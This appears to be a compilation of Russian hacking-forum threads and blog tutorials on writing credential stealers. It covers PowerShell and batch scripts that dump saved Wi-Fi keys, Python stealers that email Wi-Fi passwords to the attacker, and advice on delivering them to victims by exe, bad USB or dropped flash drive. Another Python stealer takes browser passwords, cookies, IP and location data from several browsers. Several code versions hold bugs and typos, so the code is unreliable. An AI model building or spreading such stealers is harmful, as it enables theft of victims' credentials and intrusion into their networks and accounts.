Powershell или же стиллер для wifi
Тема пойдет на powershell.
все мы знаем замечательную команду в CMD
1) » netsh wlan show profiles » — чтоб посмотреть на какие сети компухтер или ноут был подключен.
2)» netsh wlan show profiles «ESSID» key=clear» — чтоб посмотреть пароль от сети.
Нам не удобна смотреть каждый процесс отдельно. Вот поэтому ускорим этот с помощью POWERSHELL
» (netsh wlan show profiles) | Select-String «\.+)$» | % | % <(netsh wlan show profile name="$name" key=clear)>| Select-String «Содержимое ключа\W+\.+)$» | % | %> | Format-Table -AutoSize » — ENTER.
Но пока откроем POWERSHELL и напишем этот скрипт нас спалят(
и вот поэтому мы сейчас сделаем БАТ файл.
1) Отрываем Текстовый документ пишем » (netsh wlan show profiles) | Select-String «\.+)$» | % | % <(netsh wlan show profile name="$name" key=clear)>| Select-String «Содержимое ключа\W+\.+)$» | % | %> | Format-Table -AutoSize » (Без кавычек). И сохраняем » powerkey.ps1 »
2)Отрываем Текстовый документ пишем » powershell.exe -ExecutionPolicy Bypass -File powerkey.ps1 » Сохраняем pow.bat
3) и последний файл опять отрываем Текстовый документ пишем
@echo off
call pow.bat >wifi/1)wifi.txt 2>&1
exit
И сохраняем start.bat .
4) кидаем все 3 файла в одну папку и в этой же папке создаем папку с название » wifi «.
вот и все)
(САМ СКРИПТ НЕ РАБОТАЕТ НА ВСЕХ КОМПЬЮТЕРАХ, В моем случай 4/5) .
Последнее редактирование: 31.12.2017
☠xrahitel☠
Grey Team
09.12.2016 239 305 BIT 9
по сути на коротке нормально..
Remir
Grey Team
05.11.2017 247 350 BIT 65
-
Имею на флешке (я так понял, что вся суть ТС в том, чтобы увести PW WiFi) папку WiFi (назовем ее так), а в ней пятОк (можно десяток — кому как удобно и нужно) файлов 1.txt, 2.txt, 3.txt и т.д. со следующим содержанием:
netsh wlan show profiles netsh wlan show profiles "ESSID" key=clear
На случай Линукса можно добавить строку
sudo cat /etc/NetworkManager/system-connections/ИМЯ_СЕТИ | grep psk=
, а если имя неизвестно, то
sudo grep psk= /etc/NetworkManager/system-connections/*

. Для удобства их можно вообще держать вместе и выбирать по потребностям, я разнес только для визуального разделения. Итак, выдалась возможность «пошарить». Вставляем флешку, открываем под админом комстроку и текстовик 1. А дальше все быстро и просто: копируем Win-довые команды разом и перепрыгиваем на командную строку, не закрывая текстовик. Вставляем и у нас уже выполнилась первая строка, быстро вписываем ИМЯ_СЕТИ и жмем ENTER. В W10 остальное быстрее всего: CTRL+A, CTRL+C — перескок на текстовик CTRL+V, ALT+F4, ENTER. В младших ОС (за 8-рку не ручаюсь, я ее «органически не перевариваю» и даже не изучал) все эти операции придется выполнить мышкой. Для Линукса я даже расписывать не буду, тут операции с файлами знает 99%. А оставшемуся 1% я посоветую начать изучение Linux именно с этого пункта, а не с увода паролей.
Он находится на этой же флешке. Запускаем в зависимости от разрядности ОС и получаем результат
Через правую кнопку мыши на выбранной строке можно сделать экспорт в ASCII для удобочитаемости. Всего-то три щелчка мыши и результат в кармане.
P.S.
Мой пост нисколько не несет в себе отрицания способа ТС. Просто я предпочту изложенный мной вариант.
Создаём стиллер WiFi паролей
True Hack — не забудь подписаться на канал, чтоб не пропустить новые статьи!

И так, приступим!
Мы не призываем вас к каким-либо действиям, статья написана исключительно в ознакомительных целях, чтобы уберечь читателя от противоправных действий.
Вы когда-нибудь задумывались, есть ли у вас инструмент, который дает вам всю информацию обо всех беспроводных сетях (включая их пароли), когда-либо подключенных на компьютере windows к вашей электронной почте?
Ну, если это так, то вот в чем фокус. В этом трюке нет ракетостроения. Я бы сказал вам способ, чтобы вы могли получить всю информацию о каждой беспроводной сети, когда-либо подключенной к машине windows, к вашей учетной записи hotmail/outlook.
Обратите внимание, что этот трюк будет работать только в том случае, если целью является машина windows и у вас есть учетная запись outlook/hotmail. Кроме того, вы должны иметь базовые знания Python.
Итак, давайте начнем.
Сначала импортируйте два модуля python, то есть подпроцесс и ОС, с помощью команды:
import subprocess, os
Подпроцесс-это модуль, который работает как командная строка, и команда, которую вы даете ему в виде строки, может быть выполнена в командной строке целевого компьютера. После этого вам понадобится код python, который установит и импортирует модуль python, который по умолчанию недоступен в python, чтобы сделать это, напишите следующий код после приведенной выше строки:
command="pip install secure-smtplib"result=subprocess.check_output(command,shell=True) import smtplib
Это модуль, который поддерживает отправку электронных писем через python. Далее мы создадим функцию, которая будет отправлять нам полученную информацию по электронной почте с помощью модуля smtplib с помощью кода:
def send_mail(email,password,message): server = smtplib.SMTP(«smtp-mail.outlook.com»,587) server.starttls() server.login(email,password) server.sendmail(email,email,message) server.quit()
Этот модуль запускает сервер python для создания электронной почты и отправки ее человеку. Далее мы будем получать имена всех беспроводных сетей, хранящихся в машине, используя модуль подпроцесса. Массив a будет содержать имена сетей.
command=»netsh wlan show profile»networks=subprocess.check_output(command,shell=True)networks=networks.split()a,b=[],[]for i in range(len(networks)): networks[i]=str(networks[i]) networks[i]=networks[i][2:-1] if networks[i]==’All’: a.append(i) elif networks[i]==’:’: b.append(i)
Теперь, если вы распечатаете a в приведенном выше коде, вы увидите, что есть и некоторые другие слова, которые нам не понадобятся, поэтому мы будем извлекать полезную информацию из массива a в другой массив d с помощью приведенного ниже кода.
Теперь, поскольку мы сохранили имена всех беспроводных сетей, мы будем использовать модуль подпроцесса для извлечения информации о каждой беспроводной сети, включая их пароль, и отправки ее на ваш аккаунт hotmail.
result=b'' for i in d: if "'" in i: continue command='netsh wlan show profile "'+str(i)+'" key=clear' passwords=subprocess.check_output(command,shell=True) result=result+passwords send_mail("your hotmail emailid","your password",result)
Если вы заметили, я использовал результат=b’ ‘. Это потому, что если вам нужно отправить сообщение по электронной почте с помощью python, его тип должен быть байт. Python не может отправить сообщение, закодированное в виде строки, на вашу электронную почту.
Замените аргументы отправки почты своим идентификатором электронной почты и паролем. Вот и все, ваш код готов. Теперь вы можете использовать его для целеуказания любой машине windows и извлечения всей информации беспроводных сетей, хранящейся на цели.
Вы можете получить полный код на моем аккаунте github. Перейдите по ссылке:
● Buratinopol — хакинг, кибербезопасность, приватность, анонимность
● SOFTWARE — хранилище приватных софтов и прочей годноты. Подпишись!
● CODING — программирование доступным языком.
● Termux — one — гайды и статьи по Termux.
Интересно Написание стиллера паролей от wifi
Вы используете устаревший браузер. Этот и другие сайты могут отображаться в нем неправильно.
Необходимо обновить браузер или попробовать использовать другой.
Anorali
Original poster
Pro Member
Сообщения 107 Реакции 156 Посетить сайт

Всем привет)
Захотел написать статью о создании стиллера, ну так вот.
Не знаю, можно ли называть эту прогу стиллером или нет, но суть скрипта заключается в том, что он ворует чужой пароль от wifi.
Работать это будет так:
1) засылаем эту прогу жертве
2) прога пиздит пароли от всех wifi сетей, когда либо подключённых к этому устройству
3) отправляет эти пароли к нам на почту
Использовать будем python, потому что он удобен, понятен и в других ЯП я не очень разбираюсь)
Для начала импортируем нужные библиотеки:
import subprocess # для управления системой import smtplib # для отправки сообщения на почту
Теперь, напишем функцию, отправляющую отчёт нам на электронный ящик:
def send_mail(email, password, message): # назовём её "отправка сообщения" и передадим в неё три параметра server = smtplib.SMTP("smtplib.gmail.com", 587) # приказ подключиться к smtp гугловской почты по 587 порту server.starttls() # запуск server.login(email, password) # авторизация. 1ый параметр - ваш адрес, 2ой - пароль от вашего адреса электронной почты, с это почты и будет отправлено письмо server.sendmail(email, email, message) # отправка сообщения. 1ый параметр - с какого адреса будет отправлено письмо(указывайте тот, с которого проводили авторизацию), 2ой параметр - адрес на который придёт письмо и 3ий параметр - переменная с содержимым сообщения server.quit() # закрытие соединения
Затем создадим переменную с командой, позволяющая просмотреть все wifi сети, когда либо подключённых к этому устройству
command = "netsh wlan show profile"
С помощью subprocess выполним эту команду и запишем результат в переменную «сети»
networks = subprocess.check_output(command, shell=True)
Но помимо названия сетей, мы можем наблюдать и другие слова, они нам не нужны, их мы уберём с помощью библиотеки «re»
import re network_names_list = re.findall("(?:Profile\s*:\s)(.*)", networks)
Дальше мы сделаем перебор нашего списка с именами сетей и получим пароли от каждой из них, которые в последствии запишем в переменную «результат» и отправим нам на почту
for network_name in network_names_list: command = "netsh wlan show profile " + network_name + "key=clear" # команда current_result = subprocess.check.output(command, shell=True) # выполнение команды и её запись в переменную "текущий результат" result = result + current_result # затем создаётся переменная "результат", которая записывает в себя предыдущий результат команды и текущий
И отправка на почту
send.mail("my_email", "my_password", result) # 1ый параметр - с какого адреса будет отправлено письмо(указывайте тот, с которого проводили авторизацию), 2ой параметр - адрес на который придёт письмо(указывайте свой адрес) и 3ий параметр - результат выполнения нашей программы.
Теперь чистый код
import subprocess import smtplib import re def send_mail(email, password, message): server = smtplib.SMTP("smtplib.gmail.com", 587) server.starttls() server.login(email, password) server.sendmail(email, email, message) server.quit() command = "netsh wlan show profile" networks = subprocess.check_output(command, shell=True) network_names_list = re.findall("(?:Profile\s*:\s)(.*)", networks) for network_name in network_names_list: command = "netsh wlan show profile " + network_name + "key=clear" current_result = subprocess.check.output(command, shell=True) result = rsult + current_result send.mail("my_email", "my_password", result)
На этом всё) Скрипт получился довольно лёгкий и маленький, вам остаётся превратить его в exe и закинуть другу)
Всем пока!
Последнее редактирование модератором: 02.06.2020
CMDfromBAT
«Рыбак» со стажем
Moderator
Сообщения 290 Реакции 595 Посетить сайт
Всем привет)
Захотел написать статью о создании стиллера, ну так вот.
Не знаю, можно ли называть эту прогу стиллером или нет, но суть скрипта заключается в том, что он ворует чужой пароль от wifi.
Работать это будет так:
1) засылаем эту прогу жертве
2) прога пиздит пароли от всех wifi сетей, когда либо подключённых к этому устройству
3) отправляет эти пароли к нам на почту
Использовать будем python, потому что он удобен, понятен и в других ЯП я не очень разбираюсь)
Для начала импортируем нужные библиотеки:
import subprocess # для управления системой import smtplib # для отправки сообщения на почту
Теперь, напишем функцию, отправляющую отчёт нам на электронный ящик:
def send_mail(email, password, message): # назовём её "отправка сообщения" и передадим в неё три параметра server = smtplib.SMTP("smtplib.gmail.com", 587) # приказ подключиться к smtp гугловской почты по 587 порту server.starttls() # запуск server.login(email, password) # авторизация. 1ый параметр - ваш адрес, 2ой - пароль от вашего адреса электронной почты, с это почты и будет отправлено письмо server.sendmail(email, email, message) # отправка сообщения. 1ый параметр - с какого адреса будет отправлено письмо(указывайте тот, с которого проводили авторизацию), 2ой параметр - адрес на который придёт письмо и 3ий параметр - переменная с содержимым сообщения server.quit() # закрытие соединения
Затем создадим переменную с командой, позволяющая просмотреть все wifi сети, когда либо подключённых к этому устройству
command = "netsh wlan show profile"
С помощью subprocess выполним эту команду и запишем результат в переменную «сети»
networks = subprocess.check_output(command, shell=True)
Но помимо названия сетей, мы можем наблюдать и другие слова, они нам не нужны, их мы уберём с помощью библиотеки «re»
import re network_names_list = re.findall("(?:Profile\s*:\s)(.*)", networks)
Дальше мы сделаем перебор нашего списка с именами сетей и получим пароли от каждой из них, которые в последствии запишем в переменную «результат» и отправим нам на почту
for network_name in network_names_list: command = "netsh wlan show profile " + network_name + "key=clear" # команда current_result = subprocess.check.output(command, shell=True) # выполнение команды и её запись в переменную "текущий результат" result = result + current_result # затем создаётся переменная "результат", которая записывает в себя предыдущий результат команды и текущий
И отправка на почту
send.mail("my_email", "my_password", result) # 1ый параметр - с какого адреса будет отправлено письмо(указывайте тот, с которого проводили авторизацию), 2ой параметр - адрес на который придёт письмо(указывайте свой адрес) и 3ий параметр - результат выполнения нашей программы.
Теперь чистый код
import subprocess import smtplib import re def send_mail(email, password, message): server = smtplib.SMTP("smtplib.gmail.com", 587) server.starttls() server.login(email, password) server.sendmail(email, email, message) server.quit() command = "netsh wlan show profile" networks = subprocess.check_output(command, shell=True) network_names_list = re.findall("(?:Profile\s*:\s)(.*)", networks) for network_name in network_names_list: command = "netsh wlan show profile " + network_name + "key=clear" current_result = subprocess.check.output(command, shell=True) result = rsult + current_result send.mail("my_email", "my_password", result)
На этом всё) Скрипт получился довольно лёгкий и маленький, вам остаётся превратить его в exe и закинуть другу)
Всем пока!
Как я сам до этого не додумался?
Очень полезно, учитывая что часто приходится физически работать с жертвой)
Anorali
Original poster
Pro Member
Сообщения 107 Реакции 156 Посетить сайт
Как я сам до этого не додумался?
Очень полезно, учитывая что часто приходится физически работать с жертвой)
CMDfromBAT — мастер подколов)
CMDfromBAT
«Рыбак» со стажем
Moderator
Сообщения 290 Реакции 595 Посетить сайт
CMDfromBAT — мастер подколов)
Это не подьеб
Anorali
Original poster
Pro Member
Сообщения 107 Реакции 156 Посетить сайт
Это не подьеб
я думал ты скажешь, что это говнокод
CMDfromBAT
«Рыбак» со стажем
Moderator
Сообщения 290 Реакции 595 Посетить сайт
я думал ты скажешь, что это говнокод
Оптимизация всегда радует глаз)
Albex
Member
Сообщения 33 Реакции 25 Посетить сайт
Ну это надо по соседству с жертвой жить. WiFi, а также многие другие пароли (из браузеров и т.д.) ворует тестирует хорошо, например, lazagne. Тоже на python написана. Но самому написать всегда приятно.
Последнее редактирование: 03.06.2020
pavelpers123
Member
Сообщения 5 Реакции 6 Посетить сайт
привет, я в хакерстве на питон не оч шарю \: , я получил вот эту ошибку когда запускал код
File *путь к файлу*, line 48, in
network_names_list = re.findall(«(?:Рrofile\s*:\s)(.*)», networks)
File *путь к файлу*, line 239, in findall
return _compile(pattern, flags).findall(string)
TypeError: cannot use a string pattern on a bytes-like object
люди помогите плиз
Anorali
Original poster
Pro Member
Сообщения 107 Реакции 156 Посетить сайт
привет, я в хакерстве на питон не оч шарю \: , я получил вот эту ошибку когда запускал код
File *путь к файлу*, line 48, in
network_names_list = re.findall(«(?:Рrofile\s*:\s)(.*)», networks)
File *путь к файлу*, line 239, in findall
return _compile(pattern, flags).findall(string)
TypeError: cannot use a string pattern on a bytes-like object
люди помогите плиз
чекни личку
Anorali
Original poster
Pro Member
Сообщения 107 Реакции 156 Посетить сайт
Что-то мне захотелось сверить свой код и свою статью и что же я заметил, а то, что кое-что пропустил —
когда мы создаём перебор паролей нам надо где-то сохранять первый результат, дабы в дальнейшем добавить и второй, и поэтому я создал переменную result, вот только создать её надо за пределами перебора и указать как пустую строку
result = " " for network_name in network_names_list: command = "netsh wlan show profile " + network_name + "key=clear" current_result = subprocess.check.output(command, shell=True) result = rsult + current_result
Anorali
Original poster
Pro Member
Сообщения 107 Реакции 156 Посетить сайт
Что-то мне захотелось сверить свой код и свою статью и что же я заметил, а то, что кое-что пропустил —
когда мы создаём перебор паролей нам надо где-то сохранять первый результат, дабы в дальнейшем добавить и второй, и поэтому я создал переменную result, вот только создать её надо за пределами перебора и указать как пустую строку
result = " " for network_name in network_names_list: command = "netsh wlan show profile " + network_name + "key=clear" current_result = subprocess.check.output(command, shell=True) result = rsult + current_result
короче внимательней мне свою писанину проверять надо, чтоб таких инцидентов больше не было
Terezamain
Member
Сообщения 46 Реакции 35 Посетить сайт
и не факт что так легко подсунуть файл жертве соседу и еще заставить его запустить
тема бесполезна
Anorali
Original poster
Pro Member
Сообщения 107 Реакции 156 Посетить сайт
и не факт что так легко подсунуть файл жертве соседу и еще заставить его запустить
тема бесполезна
Это уже будет зависеть от твоего уровня СИ
pavelpers123
Member
Сообщения 5 Реакции 6 Посетить сайт
и не факт что так легко подсунуть файл жертве соседу и еще заставить его запустить
тема бесполезна
ну можно сделать что бы за тебя все сделала bad usb + есть утилиты которые запускают прогу всем кто подключен к wifi
CMDfromBAT
«Рыбак» со стажем
Moderator
Сообщения 290 Реакции 595 Посетить сайт
ну можно сделать что бы за тебя все сделала bad usb + есть утилиты которые запускают прогу всем кто подключен к wifi
Камон, достаточно прост флешку подкинуть и все. Все просто и понятно, дети
pavelpers123
Member
Сообщения 5 Реакции 6 Посетить сайт
я исправил код, теперь все вроде ботает)
import subprocess import smtplib import re def send_mail(email, password, message): server = smtplib.SMTP("smtplib.gmail.com", 587) server.starttls() server.login(email, password) server.sendmail(email, email, message) server.quit() command = "netsh wlan show profiles" networks = subprocess.check_output(command, shell=True) networks = networks.decode('ISO-8859-1') network_names_list = re.findall("(?:Рrofile\s*:\s)(.*)", networks) result = [] wifiname = [] for network_name in network_names_list: command = str ("netsh wlan show profile " + network_name + " key = clear") try: current_result = subprocess.check_output(command, shell=True) current_result = current_result.decode('ISO-8859-1') current_result = re.findall("(?:Content\s*:\s)(.*)", current_result) wifiname.append(network_name) if (str (current_result) == '[]'): current_result = " пароль не обнаружен " result.append(current_result) except: pass answer = "" for i in range(len(wifiname)): answer = answer + '\n' + str(wifiname) + '\n' answer = answer + str(result)[2:len(str(result)) - 4] + '\n' send_mail("my_email", "my_password", answer)
Anorali
Original poster
Pro Member
Сообщения 107 Реакции 156 Посетить сайт
я исправил код, теперь все вроде ботает)
import subprocess import smtplib import re def send_mail(email, password, message): server = smtplib.SMTP("smtplib.gmail.com", 587) server.starttls() server.login(email, password) server.sendmail(email, email, message) server.quit() command = "netsh wlan show profiles" networks = subprocess.check_output(command, shell=True) networks = networks.decode('ISO-8859-1') network_names_list = re.findall("(?:Рrofile\s*:\s)(.*)", networks) result = [] wifiname = [] for network_name in network_names_list: command = str ("netsh wlan show profile " + network_name + " key = clear") try: current_result = subprocess.check_output(command, shell=True) current_result = current_result.decode('ISO-8859-1') current_result = re.findall("(?:Content\s*:\s)(.*)", current_result) wifiname.append(network_name) if (str (current_result) == '[]'): current_result = " пароль не обнаружен " result.append(current_result) except: pass answer = "" for i in range(len(wifiname)): answer = answer + '\n' + str(wifiname) + '\n' answer = answer + str(result)[2:len(str(result)) - 4] + '\n' send_mail("my_email", "my_password", answer)
красава! не поленился, запарился)
Anorali
Original poster
Pro Member
Сообщения 107 Реакции 156 Посетить сайт
я исправил код, теперь все вроде ботает)
import subprocess import smtplib import re def send_mail(email, password, message): server = smtplib.SMTP("smtplib.gmail.com", 587) server.starttls() server.login(email, password) server.sendmail(email, email, message) server.quit() command = "netsh wlan show profiles" networks = subprocess.check_output(command, shell=True) networks = networks.decode('ISO-8859-1') network_names_list = re.findall("(?:Рrofile\s*:\s)(.*)", networks) result = [] wifiname = [] for network_name in network_names_list: command = str ("netsh wlan show profile " + network_name + " key = clear") try: current_result = subprocess.check_output(command, shell=True) current_result = current_result.decode('ISO-8859-1') current_result = re.findall("(?:Content\s*:\s)(.*)", current_result) wifiname.append(network_name) if (str (current_result) == '[]'): current_result = " пароль не обнаружен " result.append(current_result) except: pass answer = "" for i in range(len(wifiname)): answer = answer + '\n' + str(wifiname) + '\n' answer = answer + str(result)[2:len(str(result)) - 4] + '\n' send_mail("my_email", "my_password", answer)
попробуй вот это:
import subprocess import smtplib import re def send_mail(email, password, message): server = smtplib.SMTP("smtp.gmail.com", 587) server.starttls() server.login(email, password) server.sendmail(email, email, message) server.quit() command = "netsh wlan show profile" networks = subprocess.check_output(command, shell=True) networks = networks.decode('ISO-8859-1') network_names_list = re.findall("(?:Profile\s*:\s)(.*)", networks) result = " " for network_name in network_names_list: command = "netsh wlan show profile " + network_name + "key=clear" current_result = subprocess.check.output(command, shell=True) result = rsult + current_result send_mail("email", "password", result)
Стиллер паролей на python с отправкой на почту
Привет, сейчас будем делать стиллер паролей на ЯП python. Наш стиллер будет воровать пароли браузеров таких как хром, яндекс браузер, амиго, и др., их куки, делать скриншот экрана, узнавать айпи адрес пк на котором открыли стиллер, его место нахождение и его установленная система.
Приступим к делу
Создаем новый файл в IDLE Python или в другой IDE.

Подключаем все нужные библиотеки. В некоторых нужно в cmd скачивать модули.
Все нужные модули
pip install pyinstaller
pip install requests==2.7.0
pip install pywin32
pip install ip2geotools
pip install opencv-python
pip install Pillow
pip install db-sqlite3
pip install temp
import os from Crypto.Hash import SHA512 import sqlite3 import win32crypt import email, ssl import shutil import requests import zipfile import getpass import ip2geotools import win32api import platform import tempfile import smtplib import time import cv2 import sys from PIL import ImageGrab from email.mime.multipart import MIMEMultipart from email.mime.base import MIMEBase from email.message import Message from email.mime.multipart import MIMEBase from email.mime.text import MIMEText from email.utils import COMMASPACE, formatdate from email import encoders from Tools.demo.mcast import sender from ip2geotools.databases.noncommercial import DbIpCity from os.path import basename from smtplib import SMTP from email.header import Header from email.utils import parseaddr, formataddr from base64 import encodebytes import random
Собираем с пользователя все его данные.
################################################################################ # ВСЕ ДАННЫЕ И ЛОКАЦИЯ # ################################################################################ drives = str(win32api.GetLogicalDriveStrings()) drives = str(drives.split('\000')[:-1]) response = DbIpCity.get(requests.get("https://ramziv.com/ip").text, api_key='free') all_data = "Time: " + time.asctime() + '\n' + "Кодировка ФС: " + sys.getfilesystemencoding() + '\n' + "Cpu: " + platform.processor() + '\n' + "Система: " + platform.system() + ' ' + platform.release() + '\nIP: '+requests.get("https://ramziv.com/ip").text+'\nГород: '+response.city+'\nGen_Location:' + response.to_json() + '\nДиски:' + drives file = open(os.getenv("APPDATA") + '\\alldata.txt', "w+") #создаем txt с его расположением file.write(all_data)#записываем данные file.close()#выходим
Собираем пароли с хрома.
################################################################################ # GOOGLE PASSWORDS # ################################################################################ def Chrome(): text = 'Passwords Chrome:' + '\n' text += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': text += url + ' | ' + login + ' | ' + password + '\n' return text file = open(os.getenv("APPDATA") + '\\google_pass.txt', "w+") #создаем txt с его расположением file.write(str(Chrome()) + '\n')#записываем данные file.close()
Собираем куки с хрома.
################################################################################ # GOOGLE Cookies # ################################################################################ def Chrome_cockie(): textc = 'Cookies Chrome:' + '\n' textc += 'URL | COOKIE | COOKIE NAME' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2') cursor = conn.cursor() cursor.execute("SELECT * from cookies") for result in cursor.fetchall(): cookie = win32crypt.CryptUnprotectData(result[12])[1].decode() name = result[2] url = result[1] textc += url + ' | ' + str(cookie) + ' | ' + name + '\n' return textc file = open(os.getenv("APPDATA") + '\\google_cookies.txt', "w+") file.write(str(Chrome_cockie()) + '\n') file.close()
################################################################################ # FIREFOX Cookies # ################################################################################ def Firefox(): textf = '' textf +='Firefox Cookies:' + '\n' textf += 'URL | COOKIE | COOKIE NAME' + '\n' for root, dirs, files in os.walk(os.getenv("APPDATA") + '\\Mozilla\\Firefox\\Profiles'): for name in dirs: conn = sqlite3.connect(os.path.join(root, name)+'\\cookies.sqlite') cursor = conn.cursor() cursor.execute("SELECT baseDomain, value, name FROM moz_cookies") data = cursor.fetchall() for i in range(len(data)): url, cookie, name = data[i] textf += url + ' | ' + str(cookie) + ' | ' + name + '\n' break return textf file = open(os.getenv("APPDATA") + '\\firefox_cookies.txt', "w+") file.write(str(Firefox()) + '\n') file.close()
Пароли с хромиума.
################################################################################ # CHROMIUM PASSWORDS # ################################################################################ def chromium(): textch ='Chromium Passwords:' + '\n' textch += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data2') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': textch += url + ' | ' + login + ' | ' + password + '\n' return textch file = open(os.getenv("APPDATA") + '\\chromium.txt', "w+") file.write(str(chromium()) + '\n') file.close()
Куки с хромиума.
################################################################################ # CHROMIUM cookies # ################################################################################ def chromiumc(): textchc = '' textchc +='Chromium Cookies:' + '\n' textchc += 'URL | COOKIE | COOKIE NAME' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies2') cursor = conn.cursor() cursor.execute("SELECT * from cookies") for result in cursor.fetchall(): cookie = win32crypt.CryptUnprotectData(result[12])[1].decode() name = result[2] url = result[1] textchc += url + ' | ' + str(cookie) + ' | ' + name + '\n' return textchc file = open(os.getenv("APPDATA") + '\\chromium_cookies.txt', "w+") file.write(str(chromiumc()) + '\n') file.close()
################################################################################ # AMIGO PASSWORDS # ################################################################################ def Amigo(): textam = 'Passwords Amigo:' + '\n' textam += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Login Data'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Login Data2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Login Data2') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': textam += url + ' | ' + login + ' | ' + password + '\n' file = open(os.getenv("APPDATA") + '\\amigo_pass.txt', "w+") file.write(str(Amigo()) + '\n') file.close()
################################################################################ # AMIGO cookies # ################################################################################ def Amigo_c(): textamc = 'Cookies Amigo:' + '\n' textamc += 'URL | COOKIE | COOKIE NAME' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Cookies'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Cookies2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Cookies2') cursor = conn.cursor() cursor.execute("SELECT * from cookies") for result in cursor.fetchall(): cookie = win32crypt.CryptUnprotectData(result[12])[1].decode() name = result[2] url = result[1] textamc += url + ' | ' + str(cookie) + ' | ' + name + '\n' return textamc file = open(os.getenv("APPDATA") + '\\amigo_cookies.txt', "w+") file.write(str(Amigo_c()) + '\n') file.close()
################################################################################ # OPERA PASSWORDS # ################################################################################ def Opera(): texto = 'Passwords Opera:' + '\n' texto += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data'): shutil.copy2(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data', os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data2') conn = sqlite3.connect(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data2') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': texto += url + ' | ' + login + ' | ' + password + '\n' file = open(os.getenv("APPDATA") + '\\opera_pass.txt', "w+") file.write(str(Opera()) + '\n') file.close()
################################################################################ # FIREFOX PASSWORDS # ################################################################################ def Firefox_cookies(): texto = 'Passwords firefox:' + '\n' texto += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("APPDATA") + '\\AppData\\Roaming\\Mozilla\\Firefox'): shutil.copy2(os.getenv("APPDATA") + '\\AppData\\Roaming\\Mozilla\\Firefox2', os.getenv("APPDATA") + '\\AppData\\Roaming\\Mozilla\\Firefox2') conn = sqlite3.connect(os.getenv("APPDATA") + '\\AppData\\Roaming\\Mozilla\\Firefox2') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': texto += url + ' | ' + login + ' | ' + password + '\n' file = open(os.getenv("APPDATA") + '\\firefox_pass.txt', "w+") file.write(str(Firefox_cookies()) + '\n') file.close()
Пароли с яндекс браузера.
